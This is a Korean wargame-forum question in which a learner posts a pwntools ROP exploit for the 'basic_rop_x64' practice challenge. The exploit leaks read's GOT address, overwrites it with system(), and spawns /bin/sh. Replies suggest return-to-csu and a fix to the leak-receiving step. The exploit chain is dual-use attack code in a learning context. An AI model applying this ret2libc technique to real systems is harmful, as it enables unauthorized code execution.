도와주세용!!

rop 강좌를 참고하여 똑같이 익스코드를 만들엇는데 오류가 떠요
from pwn import *
def slog(name, addr): return success(": ".join([name, hex(addr)]))
p = remote("host3.dreamhack.games", 20176)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")

read_plt=e.plt["read"]
read_got=e.got["read"]
puts_plt=e.plt["puts"]

pop_rdi=0x0000000000400883
pop_rsi_r15=0x0000000000400881
payload=b"A"*0x48

payload+=p64(pop_rdi)+p64(read_got)
payload+=p64(puts_plt)

payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)
p.send(payload)

read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc_base", lb)
slog("system", system)
p.send(p64(system)+b"/bin/sh\x00")
p.interactive()

1어떤점이 문제가 있는걸까요?
2 rop 강좌에서 (이 실습에서는 read 함수의 GOT를 읽은 뒤 rdx 값이 매우 크게 설정되므로, rdx를 설정하는 가젯을 추가하지 않아도 됩니다. 좀 더 안정적인(reliable) 익스플로잇을 작성하려면 가젯을 추가해줘도 좋습니다.)<<<라는내용은 어떤상황에서는 rdx를 구해야된다는 것인데 ropgadet으로도 rdx가 나오지 않는대 이를 해결할수있는 방법은 무엇을까요??ㅜㅜ

#pwnable
작성자 정보
답변 3
Hmin
강의 수강: 10

return to csu 기법 사용하시면 될 것 같습니다

2022.10.16. 14:41
상달
대표 업적 없음

추가로 rtc 기법을 사용해서 문제를 풀기는 햇는데 위에코드가 어떤점이 잘못된건가요?

2022.10.16. 19:30
avatar
wyv3rn
무플 방지 위원회장

메모리 릭 과정 중에 read 주소를 받아오는 부분에서 바로 받으시면 아마 안되지 싶은데요... ㅎㅎ

p.send(payload)

read = u64(p.recvn(6)+b"\x00"*2)```
2022.10.21. 08:51
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기